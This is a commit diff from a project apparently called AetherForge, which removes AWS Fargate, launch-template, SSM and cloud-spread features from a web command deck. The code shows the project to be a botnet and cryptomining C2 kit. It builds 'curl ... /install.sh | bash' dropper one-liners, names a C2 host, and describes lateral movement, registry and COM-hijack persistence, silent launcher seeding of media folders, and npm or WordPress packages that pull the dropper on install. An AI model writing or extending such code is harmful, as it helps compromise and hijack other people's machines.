Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
AetherForge
2026-06-07 10:06:42 -07:00
parent 0795c511ab
commit 990105f7bf
49 changed files with 570 additions and 879 deletions

View File

@@ -48,12 +48,4 @@ test.describe('Page smoke', () => {
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
});
test('Emberwake Cloud Ecosystem hub loads', async ({ page }) => {
await page.getByRole('link', { name: /Emberwake/i }).click();
await expect(page.getByText('Cloud Ecosystem')).toBeVisible({ timeout: 10_000 });
await page.getByText('Cloud Ecosystem').click();
await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
});
});

View File

@@ -174,12 +174,6 @@
</p>
</section>
<section class="section" id="aws-launch-template">
<h2>AWS Launch Template — strain genesis</h2>
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
</section>
<section class="section" id="cms">
<h2>CMS &amp; static host upload</h2>
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
@@ -241,24 +235,6 @@
</p>
</section>
<section class="section" id="burst-seeder">
<h2>Burst seeder (ECS Fargate)</h2>
<p>
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
</p>
<div class="install-grid">
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
</div>
<p class="fine" style="margin-top: 0.75rem;">
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 24 hours; Seer emits
<code class="inline">fargate_plague_front</code> when burst activates.
</p>
</section>
<footer class="fine">
<p>
Command-deck copy: <a href="/spread/">/spread/</a> ·
@@ -298,14 +274,6 @@
var dl = document.getElementById('btn-dl');
if (dl) dl.href = withSuffix(SERVER + '/get');
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
var fargateBundle = document.getElementById('fargate-bundle');
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
var fargateTask = document.getElementById('fargate-task-def');
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
var fargateRun = document.getElementById('fargate-run-script');
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
var bash = document.getElementById('oneliner-bash');
var ps1 = document.getElementById('oneliner-ps1');
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
@@ -320,17 +288,6 @@
var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary');
}
var ltBtn = document.getElementById('btn-lt-generate');
if (ltBtn) ltBtn.addEventListener('click', function () {
var p = new URLSearchParams(window.location.search || '');
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
.then(function (r) { return r.json(); }).then(function (resp) {
if (!resp.success) return;
var hint = document.getElementById('lt-genesis-hint');
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
});
});
})();
</script>
</body>

View File

@@ -469,32 +469,6 @@ export const api = {
URL.revokeObjectURL(url);
},
fetchSSMSpreadBundle: (req: {
server_url: string;
build_id?: string;
campaign?: string;
platform?: string;
aws_cli_path?: string;
}) =>
fetchJSON<{ ok: boolean; bundle: {
join_lane: string;
document: string;
run_command: string;
create_document_cli: string;
manifest_url?: string;
shard_urls?: string[];
fallback_get_url?: string;
} }>('/builder/ssm-spread-bundle', {
method: 'POST',
body: JSON.stringify(req),
}),
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
method: 'POST',
body: JSON.stringify(req),
}),
exportSpreadTemplate: async (req: {
template: string;
server_url: string;
@@ -520,22 +494,6 @@ export const api = {
URL.revokeObjectURL(url);
},
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
@@ -623,17 +581,6 @@ export const api = {
method: 'DELETE',
}),
testErasureSwarm: (body: { s3_bucket?: string; cloudfront_domain?: string }) =>
fetchJSON<{ ok: boolean; error?: string }>('/erasure-swarm/test', {
method: 'POST',
body: JSON.stringify(body),
}),
getErasureSwarmPolicyJSON: (bucket?: string) =>
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
`/erasure-swarm/policy-json${bucket ? `?bucket=${encodeURIComponent(bucket)}` : ''}`,
),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {

View File

@@ -217,17 +217,6 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
</label>
</div>
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.fargate_burst_campaign === true}
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
/>
<span>Fargate burst seeder campaign (ECS, 24h TTL)</span>
</label>
</div>
{server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

View File

@@ -42,10 +42,6 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />,
}));
vi.mock('./LaunchTemplateExportPanel', () => ({
default: () => <div data-testid="launch-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL);

View File

@@ -17,7 +17,6 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css';
@@ -826,10 +825,6 @@ export default function CrucibleExpandedOps({
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
<p className="crucible-seek-blurb">
Recursively seeds every media directory under the given path with silent launcher files.

View File

@@ -12,8 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { resolvePageWeather } from '../../help/pageWeather';
import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather';
import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { isDashboardRoute } from '../../help/routeEffects';
import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext';
@@ -46,9 +45,7 @@ function operatorDeckId(pathname: string): string {
return 'dashboard';
}
type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean };
const NAV_BASE: readonly NavItem[] = [
const NAV_BASE = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
@@ -60,15 +57,15 @@ const NAV_BASE: readonly NavItem[] = [
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
];
] as const;
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
function buildNav(aiControlEnabled: boolean): NavItem[] {
function buildNav(aiControlEnabled: boolean) {
if (!aiControlEnabled) {
return [...NAV_BASE];
}
const items: NavItem[] = [...NAV_BASE];
const items = [...NAV_BASE];
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
items.splice(calibrateIdx, 0, SEER_NAV);
return items;
@@ -313,18 +310,14 @@ export default function Layout({ children }: LayoutProps) {
if (latestMessage?.type !== 'scout_constellations') return null;
return latestMessage.payload as ScoutConstellationSnapshot;
}, [latestMessage]);
const cloudBiome = useMemo(() => {
if (latestMessage?.type !== 'cloud_venue_biomes') return null;
return latestMessage.payload as CloudVenueSnapshot;
}, [latestMessage]);
const pageWeather = useMemo(() => {
const base = resolvePageWeather(location.pathname);
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
return mergeBiomeWeather(base, scoutBiome, cloudBiome);
return mergeScoutBiomeWeather(base, scoutBiome);
}
return base;
}, [location.pathname, scoutBiome, cloudBiome]);
}, [location.pathname, scoutBiome]);
const showDeckEffects = isDashboardRoute(location.pathname);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {

View File

@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
return event.event_type === 'onion_miner_log';
}
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
return event.event_type === 'fargate_plague_front';
}
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
if (!isFargatePlagueFrontEvent(event)) return '';
const p = event.payload ?? {};
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
if (ttl != null && expires) {
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
}
if (ttl != null) {
return `Fargate burst seeder front · TTL ${ttl}h`;
}
return 'Fargate burst seeder campaign active (ECS plague front)';
}
export function onionMinerLogSummary(event: SeerEventRecord): string {
if (!isOnionMinerLogEvent(event)) return '';
const p = event.payload ?? {};

View File

@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
'failure_atlas',
'erasure_lanes',
'fleet_torrent',
'aws_erasure_swarm',
'ai_court_session',
'ai_persona',
'ai_persona_aggressive',

View File

@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
fleet_torrent:
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
aws_erasure_swarm:
'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
ai_court_session:
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
calibration_ai_control:

View File

@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
'fm_encrypt_path',
'pt_path_tracer',
'pt_agent_chain',
'pt_subnet_autopsy',
'fleet_runtime_policy',
'fleet_runtime_modules',
'spread_funnel_widget',
'subnet_immune_autopsy',
'md_overview',
'md_operation_chip',
'md_spread_profile',
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
'ew_install_links',
'ew_spread_kit',
'ew_war_room',
'ew_cloud_ecosystem',
'ew_cloud_aws',
'ew_cloud_generic',
'ew_ssm_document',
'ew_supply_chain',
'ew_public_urls',
'ew_techniques',
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
'set_webhook',
'ui_color_scheme',
'crucible_section_spread_templates',
'crucible_section_launch_template',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
crucible_section_spread_templates:
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
crucible_section_launch_template:
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
ew_supply_chain:
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
ew_cloud_ecosystem:
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
ew_cloud_aws:
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
ew_cloud_generic:
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
ew_ssm_document:
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
ew_public_urls:
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
ew_techniques:

View File

@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
'emberwake_notes_updated',
'emberwake_war_room',
'scout_constellations',
'cloud_venue_biomes',
'agent_online',
'agent_offline',
'new_share',

View File

@@ -27,7 +27,6 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
@@ -3083,17 +3082,6 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div>
{calibrateConfig?.server && (
<AwsErasureSwarmPanel
server={calibrateConfig.server}
onServerChange={(patch) =>
setCalibrateConfig((prev) =>
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
)
}
/>
)}
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

View File

@@ -15,19 +15,6 @@
margin-top: 0.5rem;
}
.emberwake-biome-chip {
display: inline-block;
margin: 0.5rem 0 0;
padding: 0.2rem 0.55rem;
font-size: 0.72rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--neon-cyan, #00e8f5);
border: 1px solid rgba(0, 232, 245, 0.35);
border-radius: 999px;
background: rgba(0, 232, 245, 0.08);
}
.emberwake-section-title {
margin: 0 0 0.35rem;
font-size: 1.1rem;

View File

@@ -1,4 +1,4 @@
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
@@ -22,17 +22,12 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
@@ -76,18 +71,6 @@ export default function EmberwakePage() {
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const biomeLabel = useMemo(() => {
let scout: ScoutConstellationSnapshot | null = null;
let cloud: CloudVenueSnapshot | null = null;
if (latestMessage?.type === 'scout_constellations') {
scout = latestMessage.payload as ScoutConstellationSnapshot;
}
if (latestMessage?.type === 'cloud_venue_biomes') {
cloud = latestMessage.payload as CloudVenueSnapshot;
}
return activeBiomeLabel(scout, cloud);
}, [latestMessage]);
// Keep refs so `load` can read current pin values without listing them as deps.
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
// re-render → new load reference → useEffect fires load() again (×N).
@@ -256,11 +239,6 @@ export default function EmberwakePage() {
<p className="page-subtitle">
Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p>
{biomeLabel && (
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
Weather biome · {biomeLabel}
</p>
)}
<p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
@@ -528,16 +506,6 @@ export default function EmberwakePage() {
)}
</section>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
</summary>
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub</p>}>
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
</Suspense>
</details>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
@@ -584,16 +552,6 @@ export default function EmberwakePage() {
</ul>
</details>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Spread methods AWS SSM Document <HelpTip field="ew_ssm_document" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
</summary>
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"

View File

@@ -382,12 +382,6 @@ export interface ServerSettings {
erasure_lanes_enabled?: boolean;
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
fleet_torrent_enabled?: boolean;
aws_s3_shard_bucket?: string;
aws_s3_shard_region?: string;
aws_cloudfront_domain?: string;
fargate_burst_campaign?: boolean;
fargate_burst_ttl_hours?: number;
fargate_burst_expires_at?: string;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;